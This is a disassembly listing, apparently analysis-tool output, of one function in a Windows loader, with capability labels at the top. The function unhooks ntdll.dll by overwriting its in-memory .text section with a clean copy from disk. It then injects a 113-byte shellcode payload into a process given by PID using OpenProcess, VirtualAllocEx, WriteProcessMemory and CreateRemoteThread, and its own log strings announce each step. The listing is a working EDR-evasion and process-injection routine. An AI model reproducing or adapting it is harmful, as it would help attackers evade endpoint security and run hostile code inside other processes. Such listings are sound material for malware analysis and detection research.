Function at 0x140001480
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Overwrite dll .text section to remove hooks
Read file via mapping
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x188
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0xe0]
lea rcx, str.process.log
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x1a0], 2
jge 0x1400014e0
lea rcx, str.____Not_enough_arguments__Critical_error__exiting_program.
call fcn.140001aa0
mov ecx, 1
call fcn.140008178
mov qword [rsp + 0x58], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x7c], 0
call section..text
test eax, eax
je 0x1400017e8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0xc8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x98], rax
mov r9d, 0x18
lea r8, [rsp + 0xc8]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa8]
call sub.KERNEL32.dll_K32GetModuleInformation
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x1000002
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
movsxd rax, dword [rax + 0x3c]
imul rax, rax, 0x108
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
xor eax, eax
mov word [rsp + 0x44], ax
jmp 0x14000165b
movzx eax, word [rsp + 0x44]
inc ax
mov word [rsp + 0x44], ax
movzx eax, word [rsp + 0x44]
mov rcx, qword [rsp + 0x80]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x1400017a7
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x80]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rsp + 0x44]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov r8d, 5
lea rdx, str..text
mov rcx, rax
call fcn.140007df0
test eax, eax
je 0x1400016be
jmp 0x14000164e
mov dword [rsp + 0x60], 0
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x70]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x60]
mov r8d, 0x40
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400016ff
mov byte [rsp + 0x40], 1
jmp 0x140001704
mov byte [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x50]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x70]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0xc0], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0xc0]
mov rcx, rax
call fcn.1400029a0
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x70]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x60]
mov r8d, dword [rsp + 0x60]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001794
mov byte [rsp + 0x41], 1
jmp 0x140001799
mov byte [rsp + 0x41], 0
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x48], al
jmp 0x14000164e
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, str._i__Removed_all_hooking_n
call fcn.140001aa0
lea rax, [rsp + 0xf0]
lea rcx, [0x1400174e0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x71
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx + rax]
call fcn.1400084ec
mov dword [rsp + 0x78], eax
mov edx, dword [rsp + 0x78]
lea rcx, str._i__Injecting_into_PID:__i_n
call fcn.140001aa0
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx + rax]
call fcn.1400084ec
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140001887
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_open_a_process_handle._Error_code:_0x_X_n
call fcn.140001aa0
mov ecx, 1
call fcn.140008178
lea rcx, str._i__Created_a_new_process_handle_n
call fcn.140001aa0
mov r8d, 0xe
lea rdx, str.VirtualAllocEx
lea rcx, [0x1400175e8]
call fcn.1400012a0
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x71
xor edx, edx
mov rcx, qword [rsp + 0x58]
call rax
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x1400018f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_allocate_memory._Error_code:_0x_X_n
call fcn.140001aa0
mov ecx, 1
call fcn.140008178
mov rdx, qword [rsp + 0x68]
lea rcx, str._i__Allocated_memory_for_payload_at_0x_X_n
call fcn.140001aa0
mov qword [rsp + 0x20], 0
mov r9d, 0x71
lea r8, [rsp + 0xf0]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000194e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_write_to_process_memory._Error_code:_0x_X_n
call fcn.140001aa0
mov ecx, 1
call fcn.140008178
lea rcx, str._i__Successfully_wrote_to_process_memory_n
call fcn.140001aa0
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8d, 0x71
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8d, 0x12
lea rdx, str.CreateRemoteThread
lea rcx, [0x1400176e8]
call fcn.1400012a0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call rax
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
jne 0x1400019f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_create_a_remote_thread_to_execute_payload._Error_code:_0x_X_n
call fcn.140001aa0
mov ecx, 1
call fcn.140008178
lea rcx, str._i__Remote_thread_created_n
call fcn.140001aa0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Handle_to_process_cleaned_up._Thread_successfully_injected_into_process_memory__n
call fcn.140001aa0
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140001b90
add rsp, 0x188
pop rdi
pop rsi
ret